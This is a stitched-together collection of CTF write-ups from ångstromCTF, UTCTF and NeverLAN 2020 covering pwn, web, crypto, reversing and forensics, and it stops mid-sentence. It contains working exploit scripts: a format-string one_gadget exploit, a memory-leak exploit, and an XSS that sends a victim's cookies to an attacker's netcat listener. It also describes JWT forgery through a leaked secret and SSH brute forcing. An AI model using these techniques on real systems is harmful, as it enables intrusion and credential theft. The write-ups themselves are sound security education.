**fmtstr + libc_one_gadget**```#!/usr/bin/env pythonfrom pwn import * __DEBUG__ = 0#context.log_level = 'debug'p = None def init(): global p envs = {'LD_PRELOAD':'/home/nhiephon/libc.so.6'} if __DEBUG__: p = process('./library_in_c', env=envs) else: p = remote('shell.actf.co', 20201) return def menu(): return def send_name(data=''): p.sendlineafter('name?', data) return def check_out(data=''): p.sendafter('check out?', data) return if __name__ == '__main__': init() send_name('%p %p %p') data = p.recvuntil('And') leak_stack = int(data[-48:-34], 16) rbp = leak_stack + 0x2730 success('rbp : ' + hex(rbp)) leak_libc = int(data[-16:-4], 16) success('leak_libc : ' + hex(leak_libc)) libc_base = leak_libc - 0xf72c0 success('libc_base : ' + hex(libc_base)) one_gadget = 0x45216 + libc_base success('one_gadget : ' + hex(one_gadget)) num1 = int(hex(one_gadget)[2:6], 16) num2 = int(hex(one_gadget)[6:10], 16) num3 = int(hex(one_gadget)[10:14], 16) if num1 < num2 and num2 < num3:# raw_input('?') payload = '%{}p%21$hn%{}p%22$hn%{}p%23$hn'.format(num1, num2-num1, num3-num2).ljust(40, 'A') + p64(rbp+8 +4) + p64(rbp+8 +2) + p64(rbp+8) check_out(payload) p.interactive()```
# Windows of Opportunity (635 solves) > Clam's a windows elitist and he just can't stand seeing all of these linux challenges! >> So, he decided to step in and create his [own rev challenge](https://files.actf.co/240350c93b77621aaca286cac8c01b70be3aab4acbe9355f7f141716d0a6920e/windows_of_opportunity.exe) with the "superior" operating system.>> Author: aplet123 ```bash$ strings windows_of_opporexe | grep actfactf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}```
# ws3Misc, 180 > What the... record.pcapng>> Linked: record.png For the record, I hate the fact that I named this one's recording `record.pcapng` and the others' `recording.pcapng`. Oh well. This was probably my coolest challenge :sunglasses:. Right away, we can see that I interacted with some sort of Git server (it was Gitea on my laptop). There seem to be a lot of `unauthorized` messages, which were definetely on purpose. We can narrow our list of data to check by only looking at the exportable HTTP objects: ![](https://i.imgur.com/c4WhkgG.png) Packet #76 seems to be of key interest, since it's the largest. Let's start there. We export the packet's data, and open it in a hex editor. This seems to be a git pack file, which we can find specifications for [here](https://git-scm.com/docs/pack-format). ![](https://i.imgur.com/lMoW3rN.png) The specifications say that git packs start with the 4 bytes `PACK`, so let's delete everything up to that and save it as a `.pack` file. ![](https://i.imgur.com/DX4qtWm.png) With our full pack file, we can now embark on our quest of getting the content of the repository back. We move our pack file into an empty repository, and then turn it into an empty git repository by running `git init`. Then, we can unpack the pack file using `cat new.pack | git unpack-objects`.![](https://i.imgur.com/E7eB7iG.png) :eyes: looks like we got stuff! Since our repository still technically has 0 commits, `git log` is useless. So, we navigate to `.git/objects/`, and `ls.`![](https://i.imgur.com/Lokk974.png) Let's check out `34/`. We find a commit "body" (or whatever it's called). We can use `git show <hash>` to print the contents of the body. Make sure to use `foldername+bodyname` as the hash, as that's just how git works. ![](https://i.imgur.com/uCE3fO5.png) Oh... welp.Let's try another one. ![](https://i.imgur.com/QpV0WZZ.png) Voila, there's a flag.jpg in this commit. Let's save the contents: ![](https://i.imgur.com/4zB7fvQ.png) Now, when we open up `flag.jpg` in the root of our repository, we get a cool picture of Kaguya-chan, with the added bonus of a flag :). Flag: `actf{git_good_git_wireshark-123323}`
# Bop It### Category: binary### Description:Can you [bop it](bop_it)? [Source](bop_it.c). Connect with `nc shell.actf.co 20702`.### Author: kmh ### Solution:In this challenge we got an ELF in which there is a little game that consist in sending the first letter of what it gives us unless we get `Flag it!`.If we get flag statement it reads the flag from the file and asks us for it so it can check the two strings. Whenever we send a string it sets `guessLen` to the return vale of `read` function which returns the amount of data readed. If we send a wrong flag it builds an error string with what we sent but there is a problem: the buffer is built with the return value of `strlen` on our string incremented by 35, in the end it prints out this buffer with the length set with guessLen. How can we exploit this? With a NULL byte overflow!If we send a `\x00` followed by a random data we increment the return value of guessLen but not the value of strlen so we can build a small `wrong` buffer but guessLen is still large enough to leak memory! Let's build a python automation script to play it and spray random data: ```pyfrom pwn import *import time def run(size): p = remote('shell.actf.co', 20702) exploit = '\x00' + 'A'*size while True: a = p.readuntil('it!') if 'Bop' in a: p.sendline('B') if 'Twist' in a: p.sendline('T') if 'Pull' in a: p.sendline('P') if 'Flag' in a: p.sendline(exploit) a = p.recvall() print(a) return for i in range(35, 150, 10): run(i)```Let's run it and after some attempt we get the flag! ### Flag:```actf{bopp1ty_bop_bOp_b0p}```
# Just Rust (41 solves) > Clam really enjoys writing in C, but he realizes that he'll have to learn another language eventually. After all, he's grown pretty rusty after only programming in C for a year. So, he decided to write a program to create some ASCII art from user input. He also provided a sample output!>> Author: aplet123 *output.txt*: ```What do you want to encode?[REDACTED]CCHJEHMKCFKJCEOLFOJLMOJJBDN@H@BAODMJHFCJMOOKMOOOOOAOFOGI@@@@@@@@``` The binary is written in rust but has very simple encoding algorithm. Our job is to find initial input. The encoding algorithm: ```pythondef algo(inp): out = [0x40 for i in range(72)] for i in range(len(inp)): t = i x = i >> 3 for j in range(8): out[8 * j + (t & 7)] |= ((1 << (j & 7)) & inp[i]) >> (j & 7) << (x & 7) t += 1 print(''.join(map(chr, out)))``` Solution: ```pythonfrom z3 import *import sys def find_all_possible(s): while s.check() == sat: model = s.model() block = [] out = '' for i in range(32): c = globals()['b%i' % i] out += chr(model[c].as_long()) block.append(c != model[c]) s.add(Or(block)) print(out) def main(): flag = "CCHJEHMKCFKJCEOLFOJLMOJJBDN@H@BAODMJHFCJMOOKMOOOOOAOFOGI@@@@@@@@" s = Solver() out = [0x40 for i in range(72)] for i in range(32): globals()['b%d' % i] = BitVec('b%d' % i, 8) t = i x = i >> 3 for j in range(8): out[8 * j + (t & 7)] |= ((1 << (j & 7)) & globals()['b%d' % i]) >> (j & 7) << (x & 7) t += 1 s.add(globals()['b0'] == ord('a')) s.add(globals()['b1'] == ord('c')) s.add(globals()['b2'] == ord('t')) s.add(globals()['b3'] == ord('f')) s.add(globals()['b4'] == ord('{')) for i in range(64): s.add(out[i] == ord(flag[i])) find_all_possible(s) if __name__ == "__main__": sys.exit(main())``` yields the flag ```bashactf{b1gg3r_4nd_b4dd3r_l4ngu4g3}```
# Revving up (798 solves) > Clam wrote a program for his school's cybersecurity club's first rev lecture! >> Can you get it to give you the flag? >> You can find it at `/problems/2020/revving_up` on the shell server, which you can access via the "shell" link at the top of the site.>> Author: aplet123 ```c++int __cdecl main(int argc, const char argv, const char envp){ int result; eax char v4; [rsp+18h] [rbp-98h] char s; [rsp+20h] [rbp-90h] unsigned __int64 v6; [rsp+A8h] [rbp-8h] v6 = __readfsqword(0x28u); puts("Congratulations on running the binary!"); puts("Now there are a few more things to tend to."); puts("Please type give flag (without the quotes)."); fgets(&s, 128, stdin); v4 = strchr(&s, 10); if ( v4 ) v4 = 0; if ( !strcmp(&s, "give flag") ) { puts("Good job!"); if ( argc 1 ) { if ( !strcmp(argv[1], "banana") ) { puts("ell I think it's about time you got the flag!"); print_flag(); result = 0; } else { printf("You provided %s, not banana. Please try again\n", argv[1]); result = 1; } } else { puts("Now run the program with a command line argument of banana and you'll be done!"); result = 1; } } else { printf("You entered %s, not give flag. Please try again\n", &s); result = 1; } return result;}``` Solution: calling binary with "banana" and telling it "give flag" yields flag ```actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}```
# ångstromCTF 2020 **category: Crypto** **Challenge Name: Wacko Images** **Points: 90** **Description:** > How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py> The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number. We get an encrypted image and encryption script: image-encryption.py :```pythonfrom numpy import *from PIL import Image flag = Image.open(r"flag.png")img = array(flag) key = [41, 37, 23] a, b, c = img.shape for x in range (0, a): for y in range (0, b): pixel = img[x, y] for i in range(0,3): pixel[i] = pixel[i] * key[i] % 251 img[x][y] = pixel enc = Image.fromarray(img)enc.save('enc.png')```enc.png : ![enc.png](https://github.com/razicert/ctf-writeups/blob/master/2020/%C3%A5ngstromCTF%202020/Wacko%20Images/enc.png) **Solution:** From the script we gather that for correct 'j' the ``` e = (j * 251 + pixel[i]) / key[i] ``` gives us the original value before encryption, so we loop through 'j' in range(0, max(key)) and for each 'e' we check if it's a floating point number or not, if not, it's possibly the right one. We add a few lines to the encryption script and hope we get an image that is close enough to original image. image-decryption.py :```pythonfrom numpy import *from PIL import Image enc = Image.open(r"enc.png")img = array(enc) key = [41, 37, 23] a, b, c = img.shape for x in range (0, a): for y in range (0, b): pixel = img[x, y] for i in range(0,3): for j in range(0,41): e = (j * 251 + pixel[i]) / key[i] eint = int(e) if eint == e: pixel[i] = e break img[x][y] = pixel flag = Image.fromarray(img)flag.save('flag.png')``` flag.png : ![flag.png](https://github.com/razicert/ctf-writeups/blob/master/2020/%C3%A5ngstromCTF%202020/Wacko%20Images/flag.png) Close enough. Flag: actf{m0dd1ng_sk1llz}
# ws2### Category: misc### Description:No ascii, not problem :) [recording.pcapng](recording.pcapng)### Author: JoshDaBosh ### Solution:Analyzing the tcp dump we can observe that there has been a jpeg upload![http](http-traffic.png)let's extract it via wireshark![flag](flag.jpg)### Flag:```actf{ok_to_b0r0s-4809813}```
# UTCTF 2020 – Chatt with Bratt * **Category:** web* **Points:** 50 ## Challenge > After announcing that he would be having an anonymous 1-on-1 AMA with randomly chosen, adoring fans, an engineering team hacked together a web app and likely forget to patch some obvious security holes. Anyway, you're one of the lucky fans chosen to chatt with Bratt Pid! Have fun: web3.utctf.live:8080> > by phleisch ## Solution The website simulates a chat with a VIP. Analyzing the HTML, some interesting JavaScript code can be found. ```html <script> function addMessage(content, name) { const messageBody = document.getElementById('message-body'); const card = document.createElement("div"); card.className = "card"; const cardHeader = document.createElement("div"); cardHeader.className = "card-header"; const strongName = document.createElement("strong"); strongName.innerHTML = name; cardHeader.appendChild(strongName); card.appendChild(cardHeader); const cardBody = document.createElement("div"); cardBody.className = "card-body"; const cardText = document.createElement("p"); cardText.className = "card-text"; cardText.innerHTML = content; cardBody.appendChild(cardText); card.appendChild(cardBody); messageBody.appendChild(card); return; } </script> <script> function showMessages(data) { const messageBody = document.getElementById('message-body'); if (data.Messages.length == messageBody.children.length) { return; } const sortedMessages = data.Messages.sort((a, b) => b.Msg_Sent - a.Msg_Sent) messageBody.textContent = ''; sortedMessages.forEach(message => { const name = message.User_ID == 1 ? "Anon" : "Bratt Pid"; addMessage(message.Content, name); }); } </script> <script> function loadMessages() { fetch('/messages') .then((response) => { return response.json(); }) .then((data) => { showMessages(data); }); setTimeout(loadMessages, 10000); } </script> <script> function sendMessage() { const message = document.getElementById('message'); if (message.value === "") { return false; } addMessage(message.value, "Anon"); const data = {content: message.value} fetch('/chatt', { method: 'POST', body: JSON.stringify(data) }); message.value = ""; return true; } </script>``` Peforming some tests, you can discover that chat functionality is vulnerable to HTML tag injection, because the message sent to the server is then reflected into the web page and it is not escaped. An XSS can be performed using the `img` tag and the `onerror` attribute. Analyzing cookies, an interesting cookie called `secret` can be found, but it is set to `none` value. A listening server can be set up using *netcat*, e.g. `nc -lkv 1337`. The following HTTP request can be crafted to attack the chat endpoint and steal cookies of the VIP user. ```POST /chatt HTTP/1.1Host: web3.utctf.live:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://web3.utctf.live:8080/chattContent-Type: text/plain;charset=UTF-8Origin: http://web3.utctf.live:8080Content-Length: 115Connection: closeCookie: chat_id=d9ab6df5-6175-11ea-ae82-ee665abdd353; secret=none {"content":""}``` On the listening server you will find the request sent by the victim browser. ```Connection from ec2-18-213-193-80.compute-1.amazonaws.com 5015 received!GET /?c=chat_id=d9ab6df5-6175-11ea-ae82-ee665abdd353;%20secret=utflag{95debad95cfb106081f33ceadc36bf9c} HTTP/1.1Host: xxx.xxx.xxx.xxx:1337Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3987.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://127.0.0.1:8080/chattAccept-Encoding: gzip, deflateAccept-Language: en-US``` The `secret` cookie will contain the flag. ```utflag{95debad95cfb106081f33ceadc36bf9c}```
- this is that we got from login as guest user:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQzMDI4MjAsIm5iZiI6MTU4NDMwMjgyMCwianRpIjoiNGEyYWJhODYtMmI2OC00NGQ5LTkwZGMtMTFkMzg5NzQ5NjgyIiwiaWRlbnRpdHkiOiJhZG1pbiIsImZyZXNoIjpmYWxzZSwidHlwZSI6ImFjY2VzcyJ9Cg.{a verification sign} part one : {"typ":"JWT","alg":"HS256"}part two : {"iat":1584302820,"nbf":1584302820,"jti":"4a2aba86-2b68-44d9-90dc-11d389749682","identity":"guest","fresh":false,"type":"access"}part 3 : a verification sign that concat part one with part two and give it to HS256 encoding function that uses a unique key !! - so we need to change the parameters to this : {"typ":"JWT","alg":"HS256"}{"iat":1584307608,"nbf":1584307608,"jti":"d0274da7-afe1-4af6-8d81-106b282533c9","identity":"admin","fresh":false,"type":"access"} and using this key to sign verification progress : ( http://66.172.11.208:5000/{{config.get('JWT_SECRET_KEY')}} )this_is_a_$uper_secure_key and finally send JWT that we generate within a request to server and we got flag ... !(best tool for generate JWT : https://jwt.io/)
use format string to leak main return adrees, calculate libc base and overwrite puts@got with one gadget [Writeup](https://github.com/yuvaly0/CTFs/blob/master/2020_angstrom/LIBrary_in_C_DONE/LIBrary_in_C.md)
leak canary using format string, use the buffer overflow to overwrite the canary with itself and jump to flag function [Writeup](https://github.com/yuvaly0/CTFs/blob/master/2020_angstrom/Canary_DONE/Canary.md)
Connecting to Shifter we are greeted with the following: ```Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!You'll be given a number n and also a plaintext p.Caesar shift `p` with the nth Fibonacci number.n < 50, p is completely uppercase and alphabetic, len(p) < 50You have 60 seconds!--------------------Shift BXRUJEAKBPSKTXDOXETQV by n=22:``` They give us a number `n` and a caesar cipher.Easy enough, we can steal the implementations from StackOverflow (or write them ourselves) and do the following: ```pydef get_last_line(text): return text.split("\n")[-2] def get_info(line): l = line.split(" ") return (l[1], l[-1].split("=")[1])`with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) while True: data = s.recv(1024) if not data: break text = data.decode("utf-8") print(text) cipher, n = get_info(get_last_line(text)) fN = fib(int(n)) shifted = caesar(cipher, fN) print(shifted) s.sendall(bytes(shifted + '\n', 'utf-8'))``` `fib` and `caesar` are the implementations for Fibonnaci and Caesar cipher, respectively, both taken from some place on the internet, hence not being shown. Breaking the script down: ```pywith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT))``` The code above will connect us to the challenge, then we just need to receive the buffer and parse it.I used these two functions: ```pydef get_last_line(text): return text.split("\n")[-2] def get_info(line): l = line.split(" ") return (l[1], l[-1].split("=")[1])``` Afterwards we just cast `n`, calculate it, and shift the given cipher.
# NeverLAN CTF 2020Start: Sat, Feb 8 2020, 10:00 AM EST End: Tue, Feb 11 2020, 7:00 PM EST # Placing- [Students](student_scoreboard.png): 1st (max score)- General: 31st # ReviewThis weekend I played in NeverlanCTF as the solo team `bosh`. The challenges were alright, although many of them were just guessing. I didn't like how they did not announce challenge drops before they actually released them, and how the platform went down after the last wave of challenge releases. # Writeups## Table of contents| Challenge Name | Category | Points ||:-:|:-:|:-:|| [Adobe Payroll](#adobe-payroll) | Reverse Engineering | 100 || [Script Kiddie](#script-kiddie) | Reverse Engineering | 100 || [Reverse Engineer](#reverse-engineer) | Reverse Engineering | 200 || [Pigsfly](#pigsfly) | Cryptography | 30 || [BaseNot64](#basenot64) | Cryptography | 50 || [Don't Take All Knight](#don't-take-all-knight) | Cryptography | 75 || [The Invisibles](#the-invisibles) | Cryptography | 75 || [Stupid Cupid](#stupid-cupid) | Cryptography | 100 || [My Own Encoding](#my-own-encoding) | Cryptography | 200 || [BabyRSA](#babyrsa) | Cryptography | 250 || [CryptoHole](#cryptohole) | Cryptography | 250 || [It is like an onion of secrets](#it-is-like-an-onion-of-secrets) | Cryptography | 300 || [Unsecured Login](#unsecured-login) | PCAP | 50 || [Unsecured Login2](#unsecured-login2) | PCAP | 75 || [FTP](#ftp) | PCAP | 100 || [Teletype Network](#teletype-network) | PCAP | 125 || [hidden-ctf-on-my-network](#hidden-ctf-on-my-network) | PCAP | 250 || [Listen to this](#listen-to-this) | Forensics | 125 || [Open Backpack](#open-backpack) | Forensics | 150 || [Look into the past](#look-into-the-past) | Forensics | 250 || [DasPrime](#dasprime) | Programming | 100 || [password_crack](#password_crack) | Programming | 100 || [Robot Talk](#robot-talk) | Programming | 200 || [BitsnBytes](#bitsnbytes) | Programming | 200 || [Evil](#evil) | Programming | 200 || [Front page of the Internet](#front-page-of-the-internet) | Recon | 50 || [The Big Stage](#the-big-stage) | Recon | 75 || [The Link](#the-link) | Recon | 75 || [Thats just Phreaky](#thats-just-phreaky) | Recon | 200 || [Cookie Monster](#cookie-monster) | Web | 10 || [Stop the Bot](#stop-the-bot) | Web | 50 || [SQL Breaker](#sql-breaker) | Web | 50 || [SQL Breaker 2](#sql-breaker-2) | Web | 75 || [Follow Me!](#follow-me) | Web | 100 || [Browser Bias](#browser-bias) | Web | 150 || [Chicken Little 1](#chicken-little-1) | Chicken Little | 35 || [Chicken Little 2](#chicken-little-2) | Chicken Little | 36 || [Chicken Little 3](#chicken-little-3) | Chicken Little | 37 || [Chicken Little 4](#chicken-little-4) | Chicken Little | 38 || [Chicken Little 5](#chicken-little-5) | Chicken Little | 39 || [Chicken Little 6](#chicken-little-6) | Chicken Little | 40 || [Chicken Little 7](#chicken-little-7) | Chicken Little | 100 || [Milk Please](#milk-please) | Trivia | 10 || [Professional Guessing](#professional-guessing) | Trivia | 10 || [Base 2^6](#base-2^6) | Trivia | 10 || [AAAAAAAAAAAAAA! I hate CVEs](#aaaaaaaaaaaaaa!-i-hate-cves) | Trivia | 20 || [Rick Rolled by the NSA???](#rick-rolled-by-the-nsa) | Trivia | 50 | ## Reverse Engineering### Adobe PayrollOnce we unzip with 7z we end up with two files:`description.MD``Adobe_Employee_Payroll.exe` `description.MD` hints towards a software called [DotPeek](https://www.jetbrains.com/decompiler/). DotPeek decompiles (read: translates to semi human readable code) .NET files, such as our .exe file. After we open `Adobe_Employee_Payroll.exe` up, we can explore the files: ![](https://i.imgur.com/FDU78kE.png) Double clicking on something seems like a good idea. Now we can see the decompiled code for something that looks important:![](https://i.imgur.com/X4hnWnz.png)As you can see, `r1`, `r2`, `r3` and so (till `r38`) on seem to be holding integers. They seem like they're ASCII values... and they are! Without even looking at the rest of the program, we can find the flag by converting all the values from `r1` through `r38` to letters. ### Script KiddieThe "encrypted" `encrypted_db` is really just a bunch of base64 strings, which are then encoded using hex. We can decode by using this script:```pythonfrom base64 import b64decode f = open("encrypted_db").read().strip().replace("\n", "").decode("hex") f = b64decode(f.strip()) print(re.findall(r'flag{.+?}', f))``` Running the script gives the flag. ### Reverse EngineerLet's open it up in Ghidra.We scroll until we find a cool looking function called `print`. It seems to be building a string from hex values. ![](https://i.imgur.com/qoHzJPw.png) Converting all those from hex to ASCII gives the flag. ## Cryptography### PigsflyBasic substitution cipher, using the pigpen cipher alphabet. Decrypting gives the flag. ### BaseNot64As from the title, the data is not in base 64. We play around with the different encodings in [cyberchef](https://gchq.github.io/CyberChef/). Noticing that there are only capital letters / symbols in the plaintext, we can probably guess that the base will be relatively small. We try to decode it as a base 32 string, and it works. Decoding gives the flag. ### Don't Take All KnightAnother basic substitution cipher, using the Knights Templar Code cipher. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/templars-cipher). Decrypting gives the flag. ### The InvisiblesYet another basic substitution cipher, using the Arthurs and the Invisibles alphabet. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/arthur-invisibles-cipher). Decrypting gives the flag. ### Stupid CupidGoogling `Cupid cipher` gives us some results about how James Madison hid his plaintexts in some text using numbers. When we count the amount of numbers in the ciphertext at the top of the file, we find that it is equal to the amount of rows there are, and the highest number in the ciphertext does not exceed the number of columns :eyes: We then guess that each row corresponds to a character of the plaintext, and each number in the ciphertext is the corresponding column to pick from. For example:The first number in the ciphertext is `6`. The character at the first row, 6th column is `V`.Then, the second number in the ciphertext is `12`. The character at the second row, 12th column is `E`. Continue to get the flag. ### My Own EncodingWe are presented with 16 5x5 grids, each with a single box blacked out.Shot in the dark.We reason that since it is 5x5, there are 25 choices which is close enough to 26 (letters of the alphabet). We assume the top left represents the letter A, and the next one to the right represents B, and so on. Doing so, we get `MHBDI...`, until we reach the 12th box. There is no marking here! Another shot in the dark. We assume that no marking represents the letter `A`. Thus, our previously transcribed "plaintext" has to be Caesar shifted by 1 to get the flag, easy enough. ### BabyRSAQuestionable RSA. I didn't know what to do with the numbers since they were spaced out. I finally guessed they were individual characters of the flag and successfully decrypted them as such. Using [factordb](http://factordb.com/), we can factor `n` into `17 * 149`, obviously the p and q for this challenge. Now, using modified code from [a StackExchange article](https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e), we can decrypt the flag character by character. ```python# Function from Geeks for Geeksdef modInverse(a, m): m0 = m, y = 0, x = 1 if (m == 1): return 0 while (a > 1) : q = a // m t = m m = a % m a = t t = y y = x - q * y x = t if (x < 0): x += m0 return x def decrypt(ct): p = 17 q = 149 e = 569 # compute n n = p * q # Compute phi(n) phi = (p - 1) * (q - 1) # Compute mult mod inv of e d = modInverse(e, phi) # Decrypt ciphertext pt = pow(ct, d, n) print(chr(pt), end="") chall = "2193 1745 2164 970 1466 2495 1438 1412 1745 1745 2302 1163 2181 1613 1438 884 2495 2302 2164 2181 884 2302 1703 1924 2302 1801 1412 2495 53 1337 2217".split() # this is probably bad practice but it workslist(map(lambda x: decrypt(int(x)), chall))``` ### CryptoHoleBasically just a bunch of ciphers. Each level has a chal.txt which contains an encrypted password, and a password-protected zip file for the next layer. Here is the order: Layer 1 -`A ffine Cipher here 3`:- Affine Cipher- Brute force- Password is `AfvqPZW0bDMB&HTfzo` Layer 2 - `Two is better than one`- Double Transposition Cipher- Both keys are `NEVERLANCTF`- Ciphertext decrypts to `PASSWORDV78DTNRI6KBD3SDFQXXXXXXXX`- Password is `V78DTNRI6KBD3SDFQ` Layer 3 - `I'm on the fence with this one`- Rail Fence Cipher:- Brute force- `password:·VSEAS5aevg8Bwlovr` Layer 4 - `Salad Time`- Keyed Caesar Cipher- Key is `neverLANCTF`- Shift is `0`- Password is `gTLvCGk$HyRVSssXVaSX` Layer 5 - `ROTten`- Standard Caesar Cipher- Shift is `13`- Password is `e1Ydr*zxOOybF6RR%h5f` Layer 6 - `Vigenere Equivent E`- Standard Caesar Cipher- Shift is `22`- Password is `fI7BPZL#ZN5PI!&pbTXc` Layer 7 - `Easy one`- Base64 encoded string- Password is `vxw@Ztet#ZfBnYVxJ1IM` Layer 8 - `Message indigestion`- MD5 digest- Brute force- Password is `password23` Layer 9 - `For SHA dude`- SHA1 digest- Brute force- Password is `applez14` Layer 10 - `ONE more TIME`- One Time Pad- First part of key is `This is our world now...` from `chal.txt` - Hints to a section from the Hacker Manifesto- Full key is: `This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be`- Decrypt the OTP to get the flag ### It is like an onion of secretsWe get download the png image. In it is a funky lookin dog with no flag :( We guess it is LSB encrypted since Binwalk doesn't return anything useful. We plug it into [stylesuxx's LSB tool](https://stylesuxx.github.io/steganography) and we decode. We get some base64, which we now play with a bunch in [CyberChef](https://gchq.github.io/CyberChef/). After we base64 decode it twice, we get a bunch of:`lspv wwat kl rljvzfciggvnclzv` Now we guess again and decrypt it using the `Variant Beaufort Vigenere cipher` (found on Cryptii's Vigenere tool) and key `NeverLANCTF`. The plaintext gives the flag. ## PCAP### Unsecured LoginYou don't even need Wireshark, just use `strings mysite.pcap | grep flag` ### Unsecured Login2You don't even need Wireshark, just use `strings mysite2.pcap | grep flag` ### FTPYou don't even need Wireshark, just use `strings ftp.pcap | grep flag`If you want to, you can right click on any ftp packet and follow the tcp stream. If there's no flag, then move on to the next stream. ### Teletype NetworkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag` ### hidden-ctf-on-my-networkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag` ## Forensics### Listen to thisWhen we listen to the mp3 initially, we can hear a faint beeping in the background. This sounds like Morse code, so let's find an easy way to transcribe it to text dits and dahs (radio speak for dots and dashes). We open it up in Audacity, and notice there are two tracks. Let's switch to spectrogram view. We can do this by clicking on the arrow pointing downwards next to the track name, then clicking `Spectrogram`:![](https://i.imgur.com/jrIw77T.png) If we zoom in on the beginning of the track, we can see that the Morse code is in the second track:![](https://i.imgur.com/FaffDFU.png) One huge issue right now is that the Morse code is "covered" by the actual vocals of the track. I was stuck on this portion for a while. Let's split the tracks to mono using the track settings. Then, we subtract the original track from the track with morse code. After that, we'll be able to clearly see the morse code in spectrogram view. First, we select one track, and invert it (`Effect > Invert`). Then, we select both tracks and mix them together (`Tracks > Mix > Mix and Render`). It's still a bit hard to see, so let's change the coloring. We open up track settings and then select `Spectrogram Settings`. We change the color range to 20 dB instead of 80 dB (decibels). The result is morse code. Now all we have to do is open up a text editor, copy the morse code down, and convert it to text using an online tool (: The short ones are dits and the long ones are dahs. I usually represent the short ones with `.` and the long ones with `-`, which is a format most online morse-to-text tools use as well. ![](https://i.imgur.com/nMOCs8o.png) That would be the first letter in the text. ### Open BackpackThe image says something is unzipped...Let's try `binwalk`. Command: `binwalk -e openbackpack.jpg` Binwalk extracts two files, a zip and a file called `flag.png`, which has the flag of course. ### Look into the pastWe download and unzip it. It seems they just compressed a system's directories from / and gave it to us... We `cd` into the home directory for the user (`/home/User/`). Nothing seems interesting except for a `.bash_history` file, which reveals that they encrypted a flag using a concatenation of 3 passwords. We have to find the 3 passwords to decrypt the encrypted flag. Password 1:It's in an image in `~/Pictures`. We use strings and find the signature for `steghide`. We can use `steghide extract -sf doggo.jpeg`. It takes a bit more guesswork to guess that there is no password. The password is in the extracted text file. Password 2:The password is the password to the user named `user`. We read `/etc/shadow/`, and find the password. Password 3:We first uncompress the `table.db.tar.gz` inside `/opt`. Let's get everything from `table.db`: `sqlite3 table.db "SELECT * FROM passwords"`. This gives us the third password. Now that we have all 3 passwords, we can decrypt the encrypted text file using `openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt`. We supply the concatenation of the 3 passwords, and we read `file.txt` for the decrypted flag. ## Programming### DasPrimeWe want to find the 10947th prime number. We are given the following algorithm:```pythonimport mathdef main(): primes = [] count = 2 index = 0 while True: isprime = False for x in range(2, int(math.sqrt(count) + 1)): if count % x == 0: isprime = True continue if isprime: primes.append(count) print(index, primes[index]) index += 1 count += 1if __name__ == "__main__": main()``` This algorithm seems kind of slow... We can write a faster script such as this one:```pythonfrom math import sqrt def is_prime(n): if (n <= 1): return False if (n == 2): return True if (n % 2 == 0): return False i = 3 while i <= sqrt(n): if n % i == 0: return False i = i + 2 return True def prime_generator(): n = 1 while True: n += 1 if is_prime(n): yield n generator = prime_generator() x = [] for i in range(10948): x.append(next(generator))``` We access the 10497th element of `x` to get the flag (x[10496]). ### password_crackSimple MD5 brute force. I got the author names from the Discord server. ### Robot TalkWe just have to convert 5 base64 values to ASCII. I used pwntools, a pretty neat library for tasks like these. ```pythonfrom pwn import *import base64 conn = remote("challenges.neverlanctf.com", 1120) for i in range(5): print(conn.recvuntil("decrypt: ")) x = conn.recv().strip() print(x) y = base64.b64decode(x) print(y) conn.send(y) print(conn.recvline()) print(conn.recv())```### BitsnBytes> https://challenges.neverlanctf.com:1150 This site gives an svg which we can download. Quite obviously, the colors represent `0` and `1` in binary (gray is 1, green is 0). We find out that we can download the svg information directly from `/svg.php`, which makes it much easier for a script. We parse the image, using regex to remove all different attributes such as x, y, width, and height for each `<rect>` in the svg. Then, we simply just use `str.replace()` in Python to get the binary string. Then we convert that binary string into text. However, most of the time the server will return an svg that doesn't have the flag. Instead, it will return some time hash information which is useless to us. We can repeatedly query the server for an svg until it gives us a flag svg. ```from __future__ import print_function import requests while True: f = requests.get("https://challenges.neverlanctf.com:1150/svg.php").text.decode() f = f[336:-9] f= f.strip() import re s = re.compile(r"\sid='\d*'") a = re.compile(r"\sx='\d*'") b = re.compile(r"\sy='\d*'") c = re.compile(r"width='\d*' ") d = re.compile(r"height='\d*' ") f = s.sub("", f) f = a.sub("", f) f = b.sub("", f) f = c.sub("", f) f = d.sub("", f) #print(f) f = f.replace("<rect style='fill:#333136'/>", "1") f = f.replace("<rect style='fill:#00ff00'/>", "0") f = [f[i:i+8] for i in range(0, len(f), 8)] #print(f) x = "".join([chr(int(i, 2)) for i in f]) if not "time hash:" in x: print(x)``` ### Evil> ssh [email protected] -p 3333> password: eyesofstone We initially find an intel.txt, giving us information. We have to ssh onto `evil@victim`. Using Medusa (an ssh password cracker), we can bruteforce the password easily. It is `0024`. Once ssh'd, we find a zip file with some base64 as its name. It's password protected, so we try decoding the name. Decoded, the name of the zip file is `stonecold`, which is used to unzip the zip file. The content of the zip file is the flag. ## Recon### Front page of the InternetThe "front page of the Internet" is Reddit.The author is `ZestyFE`, so we guess that he has a Reddit account under the same name. We navigate to `/u/ZestyFE` on Reddit, and find the flag in one of ZestyFE's comments. ### The Big StageWe search up SaintCon keynotes and find that NeverLAN keynoted in 